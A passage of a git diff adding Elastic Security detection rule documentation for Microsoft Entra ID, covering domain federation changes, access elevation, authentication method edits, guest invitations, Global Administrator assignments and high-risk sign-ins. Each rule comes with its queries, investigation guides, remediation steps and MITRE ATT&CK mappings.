identify who made the change and from where. +- For `"Set domain authentication"` events, check `azure.auditlogs.properties.target_resources.0.display_name` to identify which domain was federated. +- Use `azure.correlation_id` to correlate the companion `"Set federation settings on domain"` event and establish the full context. +- Query the Graph API to retrieve the actual federation configuration details, since they are not logged in the audit event: `Get-MgDomainFederationConfiguration -DomainId ""`. +- Review the configured issuer URI and signing certificate to determine if the external IdP is legitimate or attacker-controlled. +- Check for precursor events with the same actor: `"Add unverified domain"` and `"Verify domain"` events targeting the same domain would indicate the full attack chain. +- Review Azure sign-in logs for any authentication activity from users under the newly federated domain. +- Investigate whether the domain was recently added to the tenant or was a pre-existing domain whose authentication type was changed. +- Review the `user_agent.original` field for the actor to determine if the change was made via the Azure Portal, Microsoft Graph API, or PowerShell, which may provide additional context on whether this was a manual or scripted action. + + +*False positive analysis* + + +- Legitimate domain federation changes by IT administrators during initial tenant setup or IdP migrations (e.g., migrating from ADFS to Okta). +- Organizational restructuring such as mergers or acquisitions where new domains are federated. +- Scheduled maintenance or updates to federation certificates or IdP endpoints. +- Validate with the Global Administrator or identity team before dismissing. + + +*Response and remediation* + + +- If the federation change is unauthorized, immediately remove the federation configuration: `Remove-MgDomainFederationConfiguration -DomainId "" -InternalDomainFederationId ""`. +- Revert the domain authentication type to managed if it should not be federated. +- Revoke all active sessions and tokens for users under the affected domain. +- Audit recent sign-in activity for users under the federated domain to identify unauthorized access. +- Investigate how the adversary obtained Global Administrator privileges to perform this action. +- Review and restrict who has Domain Administrator or Global Administrator roles using PIM (Privileged Identity Management). +- Implement alerts on domain management operations and restrict domain federation changes via conditional access policies. + + +==== Setup + + + +*Microsoft Entra ID Audit Logs* + +This rule requires the Azure integration with Microsoft Entra ID Audit Logs data stream ingesting in your Elastic Stack deployment. For more information, refer to the https://www.elastic.co/docs/reference/integrations/azure/adlogs[Microsoft Entra ID Audit Logs integration documentation]. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: azure.auditlogs + and azure.auditlogs.properties.category: DirectoryManagement + and event.action: ("Set domain authentication" or "Set federation settings on domain") + and event.outcome: success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ +* Sub-technique: +** Name: Trust Modification +** ID: T1484.002 +** Reference URL: https://attack.mitre.org/techniques/T1484/002/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Credentials +** ID: T1098.001 +** Reference URL: https://attack.mitre.org/techniques/T1098/001/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Hybrid Identity +** ID: T1556.007 +** Reference URL: https://attack.mitre.org/techniques/T1556/007/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Hybrid Identity +** ID: T1556.007 +** Reference URL: https://attack.mitre.org/techniques/T1556/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-elevated-access-to-user-access-administrator.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-elevated-access-to-user-access-administrator.asciidoc new file mode 100644 index 0000000000..61055e08b8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-elevated-access-to-user-access-administrator.asciidoc @@ -0,0 +1,141 @@ +[[prebuilt-rule-8-19-21-entra-id-elevated-access-to-user-access-administrator]] +=== Entra ID Elevated Access to User Access Administrator + +Identifies when a user has elevated their access to User Access Administrator for their Azure Resources. The User Access Administrator role allows users to manage user access to Azure resources, including the ability to assign roles and permissions. Adversaries may target an Entra ID Global Administrator or other privileged role to elevate their access to User Access Administrator, which can lead to further privilege escalation and unauthorized access to sensitive resources. This is a New Terms rule that only signals if the user principal name has not been seen doing this activity in the last 14 days. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-azure.auditlogs-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/azure/role-based-access-control/elevate-access-global-admin?tabs=azure-portal%2Centra-audit-logs/ +* https://permiso.io/blog/azures-apex-permissions-elevate-access-the-logs-security-teams-overlook +* https://www.microsoft.com/en-us/security/blog/2025/08/27/storm-0501s-evolving-techniques-lead-to-cloud-based-ransomware/ + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Audit Logs +* Use Case: Identity and Access Audit +* Tactic: Privilege Escalation +* Resources: Investigation Guide + +*Version*: 5 + +*Rule authors*: + +* Elastic +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and Analysis* + + + +*Investigating Entra ID Elevated Access to User Access Administrator* + + +This rule identifies when a user elevates their permissions to the "User Access Administrator" role in Azure RBAC. This role allows full control over access management for Azure resources and can be abused by attackers for lateral movement, persistence, or privilege escalation. Since this is a New Terms rule, the alert will only trigger if the user has not performed this elevation in the past 14 days, helping reduce alert fatigue. + + +*Possible investigation steps* + + +- Review the `azure.auditlogs.properties.initiated_by.user.userPrincipalName` field to identify the user who elevated access. +- Check `source.ip` and associated `source.geo.*` fields to determine the origin of the action. Confirm whether the IP, ASN, and location are expected for this user. +- Investigate the application ID from `azure.auditlogs.properties.additional_details.value` to determine which interface or method was used to elevate access. +- Pivot to Azure `signinlogs` or Entra `auditlogs` to: + - Review recent login history for the user. + - Look for unusual sign-in patterns or MFA prompts. + - Determine whether the account has performed any other privilege-related operations. +- Correlate with directory role assignments or role-based access control (RBAC) modifications to assess whether the elevated access was used to add roles or modify permissions. + + +*False positive analysis* + + +- Legitimate admin actions may involve access elevation during maintenance, migration, or investigations. +- Some IT departments may elevate access temporarily without leaving structured change records. +- Review internal tickets, change logs, or admin activity dashboards for approved operations. + + +*Response and remediation* + + +- If elevation was not authorized: + - Immediately remove the User Access Administrator role from the account. + - Disable or lock the account and begin credential rotation. + - Audit activity performed by the account after elevation, especially changes to role assignments and resource access. +- If suspicious: + - Notify the user and confirm whether they performed the action. + - Check for any automation or scripts that could be exploiting unused elevated access paths. + - Review conditional access and PIM (Privileged Identity Management) configurations to limit elevation without approval. +- Strengthen posture: + - Require MFA and approval for all privilege escalation actions. + - Consider enabling JIT (Just-in-Time) access with expiration. + - Add alerts for repeated or unusual use of `Microsoft.Authorization/elevateAccess/action`. + + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: azure.auditlogs + and ( + azure.auditlogs.operation_name: "User has elevated their access to User Access Administrator for their Azure Resources" or + azure.auditlogs.properties.additional_details.value: "Microsoft.Authorization/elevateAccess/action" + ) and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-external-authentication-methods-eam-modified.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-external-authentication-methods-eam-modified.asciidoc new file mode 100644 index 0000000000..d4f82e3a55 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-external-authentication-methods-eam-modified.asciidoc @@ -0,0 +1,130 @@ +[[prebuilt-rule-8-19-21-entra-id-external-authentication-methods-eam-modified]] +=== Entra ID External Authentication Methods (EAM) Modified + +Identifies when an external authentication method (EAM) is added or modified in Entra ID. EAM may allow adversaries to bypass multi-factor authentication (MFA) requirements, potentially leading to unauthorized access to user accounts and sensitive resources by using bring-your-own IdP (BYOIDP) methods. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-azure.graphactivitylogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://dirkjanm.io/persisting-with-federated-credentials-entra-apps-managed-identities/ + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Microsoft Graph +* Data Source: Microsoft Graph Activity Logs +* Use Case: Identity and Access Audit +* Resources: Investigation Guide +* Tactic: Persistence + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID External Authentication Methods (EAM) Modified* + + +This rule detects suspicious modifications to external authentication methods (EAMs) in Microsoft Entra ID via Microsoft Graph API. Adversaries may abuse this capability to bypass multi-factor authentication (MFA), enabling persistence or unauthorized access through bring-your-own identity provider (BYOIDP) methods. + + +*Possible investigation steps* + +- Validate that `event.action` is `"Microsoft Graph Activity"` and that `http.request.method` is `"PATCH"`, indicating a configuration change was made. +- Confirm that `url.path` contains the string `authenticationMethodsPolicy`, which is associated with external authentication settings in Entra ID. +- Review `user.id` to identify the Azure AD object ID of the user or service principal that initiated the change. +- Examine `azure.graphactivitylogs.properties.app_id` to determine the application ID that performed the action. +- Analyze `azure.graphactivitylogs.properties.scopes[]` to assess whether the request used privileged scopes such as `AuthenticationMethod.ReadWrite.All`. +- Review the geographic origin of the request using `source.geo.*` and the `source.ip` field to identify anomalous locations. +- Examine `user_agent.original` to determine whether the request was made through a browser or automation (e.g., scripted activity). +- Correlate `azure.graphactivitylogs.properties.token_issued_at` and `azure.graphactivitylogs.properties.time_generated` to assess whether the change occurred shortly after token issuance. +- Investigate additional activity by the same `user.id` or `app_id` within a short timeframe (e.g., 30 minutes) to detect related suspicious behavior. +- Use the `operation_id` or `correlation_id` to pivot across related Graph API or Entra ID activity logs, if available. + + +*False positive analysis* + +- Legitimate administrative activity may trigger this rule, such as configuring FIDO2 or enabling passwordless sign-in methods during onboarding or security upgrades. +- Some enterprise integrations or federated identity providers may programmatically update EAM settings as part of legitimate operations. +- Routine security assessments or red team exercises may include changes to authentication policies. Validate with internal teams when in doubt. +- If appropriate, filter or suppress alerts originating from known trusted service principals or administrative accounts. + + +*Response and remediation* + +- Confirm whether the user or application that made the change was authorized to do so. If not, immediately revoke access and reset credentials as needed. +- Review the application or automation that triggered the change to ensure it is legitimate. If unauthorized, disable or remove it and rotate secrets or tokens it may have accessed. +- Audit current external authentication configurations and conditional access policies to ensure no persistent backdoors were introduced. +- Revoke session tokens associated with the change using Entra ID's portal or Microsoft Graph API, and enforce reauthentication where appropriate. +- Implement stricter RBAC or conditional access policies to prevent unauthorized EAM changes in the future. +- Monitor for repeat or similar activity from the same source or identity as part of an ongoing compromise assessment. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: azure.graphactivitylogs and + url.path: *authenticationMethodsPolicy* and + http.request.method: "PATCH" and + http.response.status_code: 200 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Conditional Access Policies +** ID: T1556.009 +** Reference URL: https://attack.mitre.org/techniques/T1556/009/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Conditional Access Policies +** ID: T1556.009 +** Reference URL: https://attack.mitre.org/techniques/T1556/009/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-external-guest-user-invited.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-external-guest-user-invited.asciidoc new file mode 100644 index 0000000000..74b6c89aa8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-external-guest-user-invited.asciidoc @@ -0,0 +1,132 @@ +[[prebuilt-rule-8-19-21-entra-id-external-guest-user-invited]] +=== Entra ID External Guest User Invited + +Identifies an invitation to an external user in Azure Active Directory (AD). Azure AD is extended to include collaboration, allowing you to invite people from outside your organization to be guest users in your cloud account. Unless there is a business need to provision guest access, it is best practice avoid creating guest users. Guest users could potentially be overlooked indefinitely leading to a potential vulnerability. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.auditlogs-* +* filebeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/azure/governance/policy/samples/cis-azure-1-1-0 + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Use Case: Identity and Access Audit +* Tactic: Initial Access +* Resources: Investigation Guide + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Entra ID External Guest User Invited* + + +Azure Active Directory (AD) facilitates collaboration by allowing external users to be invited as guest users, enhancing flexibility in cloud environments. However, adversaries may exploit this feature to gain unauthorized access, posing security risks. The detection rule monitors audit logs for successful external user invitations, flagging potential misuse by identifying unusual or unnecessary guest account creations. + + +*Possible investigation steps* + + +- Review the audit logs to confirm the details of the invitation event, focusing on the operation name "Invite external user" and ensuring the event outcome is marked as Success. +- Identify the inviter by examining the properties of the audit log entry, such as the initiator's user ID or email, to determine if the invitation was expected or authorized. +- Check the display name and other attributes of the invited guest user to assess if they align with known business needs or if they appear suspicious or unnecessary. +- Investigate the inviter's recent activity in Azure AD to identify any unusual patterns or deviations from their typical behavior that might indicate compromised credentials. +- Consult with relevant business units or stakeholders to verify if there was a legitimate business requirement for the guest user invitation and if it aligns with current projects or collaborations. +- Review the access permissions granted to the guest user to ensure they are limited to the minimum necessary for their role and do not expose sensitive resources. + + +*False positive analysis* + + +- Invitations for legitimate business partners or vendors may trigger alerts. Regularly review and whitelist known partners to prevent unnecessary alerts. +- Internal users with dual roles or responsibilities that require external access might be flagged. Maintain a list of such users and update it periodically to exclude them from alerts. +- Automated systems or applications that require guest access for integration purposes can cause false positives. Identify these systems and configure exceptions in the monitoring rules. +- Temporary projects or collaborations often involve inviting external users. Document these projects and set expiration dates for guest access to minimize false positives. +- Frequent invitations from specific departments, such as HR or Marketing, for events or collaborations can be common. Establish a process to verify and approve these invitations to reduce false alerts. + + +*Response and remediation* + + +- Immediately disable the guest user account identified in the alert to prevent any unauthorized access or activities. +- Review the audit logs to determine the source and context of the invitation, identifying the user or system that initiated the guest invitation. +- Notify the security team and relevant stakeholders about the unauthorized guest invitation for further investigation and potential escalation. +- Conduct a security assessment of the affected Azure AD environment to identify any other unauthorized guest accounts or suspicious activities. +- Implement conditional access policies to restrict guest user invitations to authorized personnel only, reducing the risk of future unauthorized invitations. +- Enhance monitoring and alerting for guest user invitations by integrating with a Security Information and Event Management (SIEM) system to ensure timely detection and response. +- Review and update the organization's Azure AD guest user policies to ensure they align with security best practices and business needs, minimizing unnecessary guest access. + +==== Setup + + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.auditlogs and azure.auditlogs.operation_name:"Invite external user" and azure.auditlogs.properties.target_resources.*.display_name:guest and event.outcome:(Success or success) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Technique: +** Name: Create Account +** ID: T1136 +** Reference URL: https://attack.mitre.org/techniques/T1136/ +* Sub-technique: +** Name: Cloud Account +** ID: T1136.003 +** Reference URL: https://attack.mitre.org/techniques/T1136/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-global-administrator-role-assigned-pim-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-global-administrator-role-assigned-pim-user.asciidoc new file mode 100644 index 0000000000..ae88e450b5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-global-administrator-role-assigned-pim-user.asciidoc @@ -0,0 +1,136 @@ +[[prebuilt-rule-8-19-21-entra-id-global-administrator-role-assigned-pim-user]] +=== Entra ID Global Administrator Role Assigned (PIM User) + +Identifies an Azure Active Directory (AD) Global Administrator role addition to a Privileged Identity Management (PIM) user account. PIM is a service that enables you to manage, control, and monitor access to important resources in an organization. Users who are assigned to the Global administrator role can read and modify any administrative setting in your Azure AD organization. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.auditlogs-* +* filebeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Use Case: Identity and Access Audit +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Entra ID Global Administrator Role Assigned (PIM User)* + + +Azure AD's Global Administrator role grants extensive access, allowing users to modify any administrative setting. Privileged Identity Management (PIM) helps manage and monitor such access. Adversaries may exploit this by adding themselves or others to this role, gaining persistent control. The detection rule identifies suspicious role additions by monitoring specific audit logs, focusing on successful role assignments to PIM users, thus helping to flag potential unauthorized access attempts. + + +*Possible investigation steps* + + +- Review the Azure audit logs to confirm the details of the role addition event, focusing on the event.dataset:azure.auditlogs and azure.auditlogs.properties.category:RoleManagement fields. +- Identify the user account that was added to the Global Administrator role by examining the azure.auditlogs.properties.target_resources.*.display_name field. +- Check the event.outcome field to ensure the role addition was successful and not a failed attempt. +- Investigate the user account's recent activities and login history to determine if there are any anomalies or signs of compromise. +- Verify if the role addition aligns with any recent administrative changes or requests within the organization to rule out legitimate actions. +- Assess the potential impact of the role addition by reviewing the permissions and access levels granted to the user. +- If suspicious activity is confirmed, initiate a response plan to remove unauthorized access and secure the affected accounts. + + +*False positive analysis* + + +- Routine administrative tasks may trigger alerts when legitimate IT staff are assigned the Global Administrator role for maintenance or updates. To manage this, create exceptions for known IT personnel or scheduled maintenance windows. +- Automated scripts or tools used for role assignments can cause false positives if they frequently add users to the Global Administrator role. Consider excluding these automated processes from monitoring or adjusting the detection rule to account for their activity. +- Temporary project-based role assignments might be flagged as suspicious. Implement a process to document and pre-approve such assignments, allowing for their exclusion from alerts. +- Training or onboarding sessions where new administrators are temporarily granted elevated access can result in false positives. Establish a protocol to notify the monitoring team of these events in advance, so they can be excluded from the detection rule. + + +*Response and remediation* + + +- Immediately revoke the Global Administrator role from any unauthorized PIM user identified in the alert to prevent further unauthorized access. +- Conduct a thorough review of recent changes made by the affected account to identify any unauthorized modifications or suspicious activities. +- Reset the credentials of the compromised account and enforce multi-factor authentication (MFA) to secure the account against further unauthorized access. +- Notify the security team and relevant stakeholders about the incident for awareness and further investigation. +- Implement additional monitoring on the affected account and related systems to detect any further suspicious activities. +- Review and update access policies and role assignments in Azure AD to ensure that only necessary personnel have elevated privileges. +- Document the incident and response actions taken for future reference and to improve incident response procedures. + +==== Setup + + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.auditlogs and azure.auditlogs.properties.category:RoleManagement and + azure.auditlogs.operation_name:("Add eligible member to role in PIM completed (permanent)" or + "Add member to role in PIM completed (timebound)") and + azure.auditlogs.properties.target_resources.*.display_name:"Global Administrator" and + event.outcome:(Success or success) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-global-administrator-role-assigned.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-global-administrator-role-assigned.asciidoc new file mode 100644 index 0000000000..98c5ba0f0c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-global-administrator-role-assigned.asciidoc @@ -0,0 +1,134 @@ +[[prebuilt-rule-8-19-21-entra-id-global-administrator-role-assigned]] +=== Entra ID Global Administrator Role Assigned + +In Microsoft Entra ID, permissions to manage resources are assigned using roles. The Global Administrator is a role that enables users to have access to all administrative features in Microsoft Entra ID and services that use Microsoft Entra ID identities like the Microsoft 365 Defender portal, the Microsoft 365 compliance center, Exchange, SharePoint Online, and Skype for Business Online. Attackers can add users as Global Administrators to maintain access and manage all subscriptions and their settings and resources. They can also elevate privilege to User Access Administrator to pivot into Azure resources. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-azure.auditlogs-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://securitylabs.datadoghq.com/articles/i-spy-escalating-to-entra-id-global-admin/ +* https://docs.microsoft.com/en-us/azure/active-directory/roles/permissions-reference#global-administrator +* https://www.microsoft.com/en-us/security/blog/2025/08/27/storm-0501s-evolving-techniques-lead-to-cloud-based-ransomware/ + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Audit Logs +* Use Case: Identity and Access Audit +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 108 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID Global Administrator Role Assigned* + + +Microsoft Entra ID's Global Administrator role grants comprehensive access to manage Microsoft Entra ID and associated services. Adversaries may exploit this by assigning themselves or others to this role, ensuring persistent control over resources. The detection rule identifies such unauthorized assignments by monitoring specific audit logs for role changes, focusing on the addition of members to the Global Administrator role, thus helping to mitigate potential security breaches. + + +*Possible investigation steps* + + +- Review the Microsoft Entra ID audit logs to identify the user account that performed the "Add member to role" operation, focusing on the specific event dataset and operation name. +- Verify the identity of the user added to the Global Administrator role by examining the modified properties in the audit logs, specifically the new_value field indicating "Global Administrator". +- Check the history of role assignments for the identified user to determine if this is a recurring pattern or a one-time event. +- Investigate the source IP address and location associated with the role assignment event to assess if it aligns with expected user behavior or if it indicates potential unauthorized access. +- Review any recent changes or activities performed by the newly assigned Global Administrator to identify any suspicious actions or configurations that may have been altered. +- Consult with the organization's IT or security team to confirm if the role assignment was authorized and aligns with current administrative needs or projects. +- Correlate with Microsoft Entra ID sign-in logs to check for any unusual login patterns or failed login attempts associated with the user who assigned the role. +- Review the reported device to determine if it is a known and trusted device or if it raises any security concerns such as unexpected relationships with the source user. + + +*False positive analysis* + + +- Routine administrative tasks may trigger alerts when legitimate IT staff are assigned the Global Administrator role temporarily for maintenance or configuration purposes. To manage this, create exceptions for known IT personnel or scheduled maintenance windows. +- Automated scripts or third-party applications that require elevated permissions might be flagged if they are configured to add users to the Global Administrator role. Review and whitelist these scripts or applications if they are verified as safe and necessary for operations. +- Organizational changes, such as mergers or restructuring, can lead to legitimate role assignments that appear suspicious. Implement a review process to verify these changes and exclude them from triggering alerts if they align with documented organizational changes. +- Training or onboarding sessions for new IT staff might involve temporary assignment to the Global Administrator role. Establish a protocol to document and exclude these training-related assignments from detection alerts. + + +*Response and remediation* + + +- Immediately remove any unauthorized users from the Global Administrator role to prevent further unauthorized access and control over Azure AD resources. +- Conduct a thorough review of recent audit logs to identify any additional unauthorized changes or suspicious activities associated with the compromised account or role assignments. +- Reset the credentials of the affected accounts and enforce multi-factor authentication (MFA) to enhance security and prevent further unauthorized access. +- Notify the security operations team and relevant stakeholders about the incident for awareness and further investigation. +- Implement conditional access policies to restrict Global Administrator role assignments to specific, trusted locations or devices. +- Review and update role assignment policies to ensure that only a limited number of trusted personnel have the ability to assign Global Administrator roles. +- Enhance monitoring and alerting mechanisms to detect similar unauthorized role assignments in the future, ensuring timely response to potential threats. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.auditlogs and + azure.auditlogs.properties.category:RoleManagement and + azure.auditlogs.operation_name:"Add member to role" and + azure.auditlogs.properties.target_resources.*.modified_properties.*.new_value: "\"Global Administrator\"" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-high-risk-sign-in.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-high-risk-sign-in.asciidoc new file mode 100644 index 0000000000..c1689a499b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-high-risk-sign-in.asciidoc @@ -0,0 +1,124 @@ +[[prebuilt-rule-8-19-21-entra-id-high-risk-sign-in]] +=== Entra ID High Risk Sign-in + +Identifies high risk Microsoft Entra ID sign-ins by leveraging Microsoft's Identity Protection machine learning and heuristics. Identity Protection categorizes risk into three tiers: low, medium, and high. While Microsoft does not provide specific details about how risk is calculated, each level brings higher confidence that the user or sign-in is compromised. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-azure.signinlogs-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/azure/active-directory/conditional-access/howto-conditional-access-policy-risk +* https://docs.microsoft.com/en-us/azure/active-directory/identity-protection/overview-identity-protection +* https://docs.microsoft.com/en-us/azure/active-directory/identity-protection/howto-identity-protection-investigate-risk + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Sign-in Logs 